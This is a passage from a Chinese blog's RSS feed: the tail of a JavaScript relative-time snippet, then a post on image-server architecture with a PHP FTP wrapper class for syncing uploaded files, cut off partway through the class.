Maroon;">1000</span><span style="color: Olive;">)</span><span style="color: #8b0000;">/</span><span style="color: Red;">1000);</span><span style="color: #8b0000;">//</span><span style="color: Red;">计算时间戳差值&nbsp; &nbsp; <br />&nbsp; <br />&nbsp;&nbsp; &nbsp;if(secondNum&gt;=0&amp;&amp;secondNum&lt;60){ <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;return secondNum+'秒前'; <br />&nbsp;&nbsp; &nbsp;} <br />&nbsp;&nbsp; &nbsp;else if (secondNum&gt;=60&amp;&amp;secondNum&lt;3600){ <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;var nTime=parseInt(secondNum</span><span style="color: #8b0000;">/</span><span style="color: Maroon;">60</span><span style="color: Olive;">)</span><span style="color: Gray;">; <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: Blue;">nTime</span><span style="color: Gray;">+</span><span style="color: #8b0000;">'</span><span style="color: Red;">分钟前</span><span style="color: #8b0000;">'</span><span style="color: Gray;">; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"> <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">else</span><span style="color: Gray;"> </span><span style="color: Green;">if</span><span style="color: Gray;"> </span><span style="color: Olive;">(</span><span style="color: Blue;">secondNum</span><span style="color: Gray;">&gt;=</span><span style="color: Maroon;">3600</span><span style="color: Gray;">&amp;&amp;</span><span style="color: Blue;">secondNum</span><span style="color: Gray;">&lt;</span><span style="color: Maroon;">3600</span><span style="color: Gray;">*</span><span style="color: Maroon;">24</span><span style="color: Olive;">){</span><span style="color: Gray;"> <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">var</span><span style="color: Gray;"> </span><span style="color: Blue;">nTime</span><span style="color: Gray;">=</span><span style="color: Blue;">parseInt</span><span style="color: Olive;">(</span><span style="color: Blue;">secondNum</span><span style="color: #8b0000;">/</span><span style="color: Red;">3600); <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;return nTime+'小时前'; <br />&nbsp;&nbsp; &nbsp;} <br />&nbsp;&nbsp; &nbsp;else{ <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;var nTime = parseInt(secondNum</span><span style="color: #8b0000;">/</span><span style="color: Maroon;">86400</span><span style="color: Olive;">)</span><span style="color: Gray;">; <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: Blue;">nTime</span><span style="color: Gray;">+</span><span style="color: #8b0000;">'</span><span style="color: Red;">天前</span><span style="color: #8b0000;">'</span><span style="color: Gray;">; <br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"> <br />} <br /></span><span style="color: Blue;">t</span><span style="color: Gray;"> = </span><span style="color: Blue;">comptime</span><span style="color: Olive;">(</span><span style="color: Blue;">timestamp</span><span style="color: Gray;">,</span><span style="color: Blue;">nowtime</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span><span style="color: #ffa500;">//timestamp为PHP通过ajax回传的时间戳 </span><span style="color: Gray;"><br /></span><span style="color: Blue;">alert</span><span style="color: Olive;">(</span><span style="color: Blue;">t</span><span style="color: Olive;">)</span><span style="color: Gray;">; <br />&lt;</span><span style="color: #8b0000;">/</span><span style="color: Red;">script&gt;</span></div></div>
]]></content:encoded>
			<wfw:commentRss>http://www.ieliwb.com/js-php-timestamp/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>关于建立图片服务器的构想</title>
		<link>http://www.ieliwb.com/image-server-build/</link>
		<comments>http://www.ieliwb.com/image-server-build/#comments</comments>
		<pubDate>Wed, 20 May 2009 17:40:06 +0000</pubDate>
		<dc:creator>花太香齐</dc:creator>
				<category><![CDATA[Linux/Shell/Server]]></category>
		<category><![CDATA[PHP/WEB]]></category>
		<category><![CDATA[图片服务器]]></category>

		<guid isPermaLink="false">http://www.ieliwb.com/?p=118</guid>
		<description><![CDATA[关于<a href="http://www.dbanotes.net/web/web_image_server.html">图片服务器的优化</a>基本都是采用独立的域名，使用独立的域名，不光是可以并发连接的问题，还有一个重要因素是可以避免 COOKIE 的影响。下面介绍几种方案来实现图片服务器。本人在硬件方面还是个菜鸟，不对之处请谅解！

<blockquote>
使用同步软件拷贝数据
使用ftp传递数据，php也可以操作
使用samba来共享文件夹
使用NFS来共享文件夹
使用其他专业数据存储
使用socket来post上传数据
使用curl来上传数据
AJAX、FLASH跨域上传
</blockquote>
[......]<p class='read-more'><a href='http://www.ieliwb.com/image-server-build/'>继续阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>关于<a href="http://www.dbanotes.net/web/web_image_server.html">图片服务器的优化</a>基本都是采用独立的域名，使用独立的域名，不光是可以并发连接的问题，还有一个重要因素是可以避免 COOKIE 的影响。下面介绍几种方案来实现图片服务器。本人在硬件方面还是个菜鸟，不对之处请谅解！</p>
<blockquote><p>
使用同步软件拷贝数据<br />
使用ftp传递数据，php也可以操作<br />
使用samba来共享文件夹<br />
使用NFS来共享文件夹<br />
使用其他专业数据存储<br />
使用socket来post上传数据<br />
使用curl来上传数据<br />
AJAX、FLASH跨域上传
</p></blockquote>
<p><strong>共享方式</strong><br />
NFS:在图片服务器上使用NFS服务，其他服务器上绑定NFS的共享目录，目录权限是可读可写，这样来实现读写。<br />
其他的共享方式应该都差不多吧，没研究，需要的自己google。</p>
<p><strong>因为php是不能直接在不同服务器之间存取文件的，但是我们还是可以采用FTP方式远程传输，socket方式来POST文件的。</strong></p>
<p><strong>使用FTP远程传输</strong><br />
PHP是支持FTP的，给个FTP类里面，自己看着办吧，上传后调用FTP类，同步到FTP服务器中，好处是现有程序只需要在上传那段加上FTP上传就行了，坏处就是一定要支持FTP。</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline"><span style="color: Blue;">&lt;?php</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: #ffa500;">//简单测试</span></li>
<li><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: Gray;">!</span><span style="color: Green;">empty</span><span style="color: Olive;">(</span><span style="color: #00008b;">$_FILES</span><span style="color: Olive;">))</span></li>
<li><span style="color: Olive;">{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Blue;">move_uploaded_file</span><span style="color: Olive;">(</span><span style="color: #00008b;">$_FILES</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">pic</span><span style="color: #8b0000;">'</span><span style="color: Olive;">][</span><span style="color: #8b0000;">'</span><span style="color: Red;">tmp_name</span><span style="color: #8b0000;">'</span><span style="color: Olive;">]</span><span style="color: Gray;">,</span><span style="color: #8b0000;">'</span><span style="color: Red;">ces.jpg</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: #00008b;">$ftp</span><span style="color: Gray;"> = </span><span style="color: Green;">new</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">FTP</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">222.***.***.15</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">,</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">FTP用户名</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">,</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">密码</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: #00008b;">$ftp</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">filePut</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">/D:/ieliwb/ces.jpg</span><span style="color: #8b0000;">'</span><span style="color: Gray;">,</span><span style="color: #8b0000;">'</span><span style="color: Red;">ces.jpg</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: #00008b;">$ftp</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">closeFtp</span><span style="color: Olive;">()</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">echo</span><span style="color: Gray;">&nbsp;</span><span style="color: #8b0000;">'</span><span style="color: Red;">上传成功</span><span style="color: #8b0000;">'</span><span style="color: Gray;">;</span></li>
<li><span style="color: Olive;">}</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: #ffa500;">//FTP操作类 @</span><span style="color: Blue;"> www.ieliwb.com</span></li>
<li><span style="color: Green;">class</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">FTP</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">public</span><span style="color: Gray;">&nbsp;</span><span style="color: #00008b;">$conn</span><span style="color: Gray;">;</span><span style="color: #ffa500;">//连接句柄</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: #ffa500;">/**</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *构造函数</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *@param $host,$port,$timeout,$username,$password</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; */</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">function</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">__construct</span><span style="color: Olive;">(</span><span style="color: #00008b;">$host</span><span style="color: Gray;">,</span><span style="color: #00008b;">$username</span><span style="color: Gray;">,</span><span style="color: #00008b;">$password</span><span style="color: Gray;">,</span><span style="color: #00008b;">$port</span><span style="color: Gray;"> = </span><span style="color: Maroon;">21</span><span style="color: Gray;">,</span><span style="color: #00008b;">$timeout</span><span style="color: Gray;"> = </span><span style="color: Maroon;">90</span><span style="color: Gray;">,</span><span style="color: #00008b;">$ssl_connect</span><span style="color: Gray;"> = </span><span style="color: Green;">false</span><span style="color: Gray;">,</span><span style="color: #00008b;">$pasv</span><span style="color: Gray;"> = </span><span style="color: Maroon;">1</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: #00008b;">$ssl_connect</span><span style="color: Gray;"> != </span><span style="color: Green;">false</span><span style="color: Olive;">){</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">conn</span><span style="color: Gray;"> = </span><span style="color: Blue;">ftp_ssl_connect</span><span style="color: Olive;">(</span><span style="color: #00008b;">$host</span><span style="color: Gray;">,</span><span style="color: #00008b;">$port</span><span style="color: Gray;">,</span><span style="color: #00008b;">$timeout</span><span style="color: Olive;">)</span><span style="color: Gray;">&nbsp;</span><span style="color: Green;">or</span><span style="color: Gray;"> </span><span style="color: Green;">die</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">无法连接FTP！</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Olive;">}</span><span style="color: Green;">else</span><span style="color: Olive;">{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">conn</span><span style="color: Gray;"> = </span><span style="color: Blue;">ftp_connect</span><span style="color: Olive;">(</span><span style="color: #00008b;">$host</span><span style="color: Gray;">,</span><span style="color: #00008b;">$port</span><span style="color: Gray;">,</span><span style="color: #00008b;">$timeout</span><span style="color: Olive;">)</span><span style="color: Gray;">&nbsp;</span><span style="color: Green;">or</span><span style="color: Gray;"> </span><span style="color: Green;">die</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">无法连接FTP！</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Olive;">}</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: Gray;">!@</span><span style="color: Blue;">ftp_login</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">conn</span><span style="color: Gray;">,</span><span style="color: #00008b;">$username</span><span style="color: Gray;">,</span><span style="color: #00008b;">$password</span><span style="color: Olive;">))</span><span style="color: Gray;">&nbsp;</span><span style="color: Green;">die</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">用户名或密码错误！</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">setPasv</span><span style="color: Olive;">(</span><span style="color: #00008b;">$pasv</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp;&nbsp; </span><span style="color: #ffa500;">//默认打开被动模式</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Olive;">}</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: #ffa500;">/**</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *获取ftp文件列表</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *@param $dir</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *@param $all</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *@param $isforeach 是否遍历目录</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; */</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">function</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">getList</span><span style="color: Olive;">(</span><span style="color: #00008b;">$dir</span><span style="color: Gray;"> = </span><span style="color: #8b0000;">'</span><span style="color: Red;">.</span><span style="color: #8b0000;">'</span><span style="color: Gray;"> , </span><span style="color: #00008b;">$all</span><span style="color: Gray;"> = </span><span style="color: Green;">false</span><span style="color: Gray;"> , </span><span style="color: #00008b;">$isforeach</span><span style="color: Gray;"> = </span><span style="color: Green;">false</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #00008b;">$result</span><span style="color: Gray;"> = </span><span style="color: Olive;">(</span><span style="color: #00008b;">$all</span><span style="color: Gray;"> == </span><span style="color: Green;">false</span><span style="color: Olive;">)</span><span style="color: Gray;"> ? </span><span style="color: Blue;">ftp_nlist</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">conn</span><span style="color: Gray;">,</span><span style="color: #00008b;">$dir</span><span style="color: Olive;">)</span><span style="color: Gray;"> : </span><span style="color: Blue;">ftp_rawlist</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">conn</span><span style="color: Gray;">,</span><span style="color: #00008b;">$dir</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: Gray;">!</span><span style="color: #00008b;">$isforeach</span><span style="color: Olive;">)</span><span style="color: Gray;">&nbsp;</span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: #00008b;">$result</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Green;">foreach</span><span style="color: Olive;">(</span><span style="color: #00008b;">$result</span><span style="color: Gray;">&nbsp;</span><span style="color: Green;">as</span><span style="color: Gray;"> </span><span style="color: #00008b;">$value</span><span style="color: Olive;">){</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: Blue;">is_dir</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: #00008b;">$dir</span><span style="color: Red;">/</span><span style="color: #00008b;">$value</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)){</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">getList</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: #00008b;">$dir</span><span style="color: Red;">/</span><span style="color: #00008b;">$value</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">,</span><span style="color: #00008b;">$all</span><span style="color: Gray;">,</span><span style="color: #00008b;">$isforeach</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Olive;">}</span><span style="color: Green;">else</span><span style="color: Olive;">{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #00008b;">$result</span><span style="color: Olive;">[]</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$value</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Olive;">}</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Olive;">}</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Green;">return</span><span style="color: Gray;">&nbsp;</span><span style="color: #00008b;">$result</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Olive;">}</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: #ffa500;">/**</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *获取操作系统类型</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; */</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">function</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">getSystype</span><span style="color: Olive;">()</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Green;">return</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">ftp_systype</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">conn</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Olive;">}</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: #ffa500;">/**</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *获取文件大小</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *@param $remote_file</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; */</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">function</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">getFilesize</span><span style="color: Olive;">(</span><span style="color: #00008b;">$remote_file</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Green;">return</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">ftp_size</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">conn</span><span style="color: Gray;">,</span><span style="color: #00008b;">$remote_file</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Olive;">}</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: #ffa500;">/**</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *获取文件最后修改时间</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *@param&nbsp; $remote_file</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; */</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">function</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">getFilemdtm</span><span style="color: Olive;">(</span><span style="color: #00008b;">$remote_file</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Green;">return</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">ftp_mdtm</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">conn</span><span style="color: Gray;">,</span><span style="color: #00008b;">$remote_file</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Olive;">}</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: #ffa500;">/**</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *改变文件属性</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *@param $filename</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *@param $mode</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; */</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">function</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">setChmod</span><span style="color: Olive;">(</span><span style="color: #00008b;">$filename</span><span style="color: Gray;">,</span><span style="color: #00008b;">$mode</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: Blue;">function_exists</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">ftp_chmod</span><span style="color: #8b0000;">'</span><span style="color: Olive;">))</span><span style="color: Gray;">&nbsp;</span><span style="color: Olive;">{</span><span style="color: Blue;">ftp_chmod</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">conn</span><span style="color: Gray;">,</span><span style="color: #00008b;">$mode</span><span style="color: Gray;">,</span><span style="color: #00008b;">$filename</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Green;">or</span><span style="color: Gray;"> </span><span style="color: Green;">die</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">更改属性失败！</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span><span style="color: Olive;">}</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Green;">else</span><span style="color: Olive;">{</span><span style="color: Green;">return</span><span style="color: Gray;">&nbsp;</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">setSite</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">CHMOD </span><span style="color: #8b0000;">'</span><span style="color: Gray;">.</span><span style="color: #00008b;">$mode</span><span style="color: Gray;">.</span><span style="color: #8b0000;">'</span><span style="color: Red;"> </span><span style="color: #8b0000;">'</span><span style="color: Gray;">.</span><span style="color: #00008b;">$filename</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span><span style="color: Olive;">}</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Olive;">}</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: #ffa500;">/**</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *向服务器发送SITE命令</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *@param $cmd</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; */</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">function</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">setSite</span><span style="color: Olive;">(</span><span style="color: #00008b;">$cmd</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Blue;">ftp_site</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">conn</span><span style="color: Gray;">,</span><span style="color: #00008b;">$cmd</span><span style="color: Olive;">)</span><span style="color: Gray;">&nbsp;</span><span style="color: Green;">or</span><span style="color: Gray;"> </span><span style="color: Green;">die</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">发送命令失败！</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Olive;">}</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: #ffa500;">/**</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *请求运行一条FTP命令</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *@param $cmd</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; */</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">function</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">setExec</span><span style="color: Olive;">(</span><span style="color: #00008b;">$cmd</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Blue;">ftp_exec</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">conn</span><span style="color: Gray;">,</span><span style="color: #00008b;">$cmd</span><span style="color: Olive;">)</span><span style="color: Gray;">&nbsp;</span><span style="color: Green;">or</span><span style="color: Gray;"> </span><span style="color: Green;">die</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">发送失败！</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Olive;">}</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: #ffa500;">/**</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *获取当前目录</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; */</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">function</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">getPwd</span><span style="color: Olive;">()</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Green;">return</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">ftp_pwd</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">conn</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Olive;">}</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: #ffa500;">/**</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *返回上级目录</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; */</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">function</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">setCdup</span><span style="color: Olive;">()</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Blue;">ftp_cdup</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">conn</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Olive;">}</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: #ffa500;">/**</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *切换到指定目录</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *@param $dir</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; */</span></li>
